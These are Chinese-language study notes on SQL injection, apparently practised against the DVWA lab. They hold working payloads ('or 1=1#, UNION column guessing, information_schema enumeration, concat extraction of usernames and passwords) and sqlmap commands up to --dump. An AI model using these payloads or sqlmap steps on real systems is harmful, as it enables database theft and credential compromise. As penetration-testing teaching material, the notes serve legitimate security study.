sql注入
一、web安全渗透测试分类
1.sql注入介绍
1.sql注入在安全问题中排行榜首
2.SQL注入攻击是输入参数未经过滤,然后直接拼接到sql语句中解析
3.sql注入是一种将sql代码添加到参数中,传递到服务器解析并执行的一种攻击手法(例如在用户框中输入:‘or 1=1 --)
二、sql注入危害
1.获取web网站数据库,数据泄露
2.用户数据被非法买卖
3.危害web应用安全
三、sql注入原理
1.攻击者在页面提交恶意字符
2.服务器未对提交参数进行过滤或过滤不足
3.攻击者利用拼接sql语句方式获取数据库敏感信息
1.数据库基本操作回顾
查看所有数据库:show databases
使用库:use dvwa
查看默认库:select database();
查看所有表:show tables;
查看表结构:desc 表;
查看创建表sql语句:show create table users\G ##G:字段以行方式显示
查看当前默认用户:select user();
2.查询语句
查询所有字段:select * from users;
查询指定字段(账号密码为例):select user,password from users;
条件查询:select * from users where user=’admin‘;
逻辑与(两个条件都返回true):select * from users where user = ‘admin’ and user_id=6;
逻辑或(两个条件返回一个true):select * from users where user=‘admin’ or user_id =5
3.联合UNION语句
说明:sql注入漏洞终点使用方式
作用:将两条sql语句联合起来查询
语法:sql1 union sql2
注意:两条sql语句查询字段数必须相同
实操中靶机的数据库列数不可能告知
解决:使用数字代替列,猜测前面表查询列数,若不符合则失败,若符合则查询成功
4.特殊数据库
1.介绍
库名:information_schema
作用:存储mysql中所有库名、表名、列名,是mysql数据的字典
应用:sql注入经常从此库中获取需要的库名、表名、字段名
关注:
tables表:记录mysql库中所有的表
columns表:记录mysql库中所有表和列
2.操作
查看表:
在此路径:select * from TABLES\G;
不在此路径:select * from information_schema.TABLES\G;
PS:\G是mysql中特有的语法,作用是使表内容更直观,其他数据库或图形化软件不支持此命令;
关注字段:
TABLE_SCHEMA:数据库名
TABLE_NAME:表名
COLUMN_NAME:列名
=================
实现show databases;效果
select DISTINCT TABLE_SCHEMA FROM information_schema.TABLES;
实现show tables;效果
select TABLE_NAME FROM information_schema.TABLES where TABLE_SCHEMA=‘数据库名’;
5.sql注释
说明:注释语句不会被执行,在sql中可以将查询条件注释掉
单行注释
语法1#:select * from users;#后面内容不会影响sql语句
语法2–:select * from users;–后面内容不会影响sql语句
多行注释
多行注释(可以当单行用):/**/
场景引入
6.注入流程
1.收集项目信息(操作系统、数据库类型、web服务器类型)
2.查找注入点
3.注入sql语句
4.获取数据库信息
5.破解数据库管理员账号密码
6.开始sql-shell等工具登录并获取数据
四、手动实现sql注入
1.查找注入点
说明:主要采用单引号、转义字符,以单引号为主;
原理
启发:有时开发人员为了保证项目的安全,会对一些字符进行过滤,当输入一个字符打乱了原有结构应该报错却没有报错时,说明对此字符进行了过滤
2.逻辑或的应用
说明:sql注入经常使用逻辑或来获取当前表所有信息
目的:获取当前表所有信息(使where后面为true就行,前面会查询所有)
输入:‘or 1=1#
单引号’:闭合前面条件
#:注释后面单引号
例
在框中填入后的sql语句
3.一些小思考
提问1
为什么用两个分号/为什么分号到下一行就能运行,而不换行则不运行(不换行,在下一行再次输入;也可以运行)
答
在标准的sql语法中#代表单行注释,即只要是#这行#后面的内容都会被注释包括;,所以我们需要换行来输入分号(输入两个;才执行也是这个原因)才能够让sql语句执行
提问2
为什么在网站中没有换行操作,而sql语句总仍然能够执行呢(虽然有两个;,有换行效果?)
4.案例练习
目标
1.猜测列数
2.获取数据库、表、列
3.获取数据
需求:获取users表中所有的用户名和密码
方案:使用union联合查询所有用户表语句
步骤:
①.猜测字段数
方法一
此时sql语句类似为
select * from user where u_id =‘’ union select 1,2,3,4,5,6,7,8,9#’
-> ;
运行结果为
但是单select * from user where u_id =’‘;运行结果为
解释
方法二
’ or 1=1#
方法三
1’ order by 2#(以第二列属性排序,可以依次真假by后面的数值,如果报错则说明前一个数字是此数据库的字段段数)
②.获取数据库名
使用语句代替数字
如‘ union select 1,database version()#
此时原本二列就会显示数据库信息
(为什么会显示? 前面的语句是select 加了很多逗号,也是依次执行select 1 select 2 select 3等等,将数字换成语句则变成了,select database())
③.获取数据库下所有表
’ union select table_name,1 from information_schema.tables where TABLE_SCHEMA=‘dvwa’ #
④.获取表中所有数据下·
’ union select column_name,1 from information_schema.columns where table_name=‘users’ #
⑤.查询所有数据
'union select user,password from users#
五、数据字段限制
目标:
1.分析限制字段数问题
2.concat函数的应用
3.获取多个列数据
分析
问题:由于后台sql默认查询字段数限制,注入时只能获取相同字段的数据
思路:使用concat函数
concat作用:拼接多个字符串为一个字符串
语法:concat(str1,str2)
示例
#获取users表中user_id,user,password,分为两列显示
select user_id,concat(user,password) from dvwa.users;
’ union select user_id,concat(user,password) from dvwa.users#
#解决user和password拼接在一起问题
select user_id,concat(‘user:’,user,‘password:’,password) from dvwa.users;
'union select user_id,concat(‘user:’,user,‘password:’,password) from dvwa.users#
六、工具自动实现sql注入
1.前期准备
说明:自动注入是指利用工具代替人工去完成sql注入操作
工具:sqlmap
1.一个开源的渗透测试工具
2.自动检测和利用sql注入漏洞并接管数据库服务器
步骤:
1.终端命令:sqlmp -h 获取帮助
-u :扫描的目标url
–batch:自动处理提示信息
–cookie:附加cookie参数
2.实施步骤
- 扫描注入点
解决思路:使用cookie
页面中获取cookie(一些工具,或者f12)
sqlmap扫描时添加cookie参数
- 获取数据库名
–current-db:查询当前web使用的数据名
-D:应用 指定数据库(使用指定数据库需要参数)
- 获取表名
–tables:查询 指定库下所有表名
-T:指定表(要使用表式需要使用-T指定)
- 获取字段名
–columns:查询 指定标下所有字段(需要先使用-T指定表)
-C:指定字段名(要使用字段时需要使用-C指定)
- 获取数据
–dump:下载数据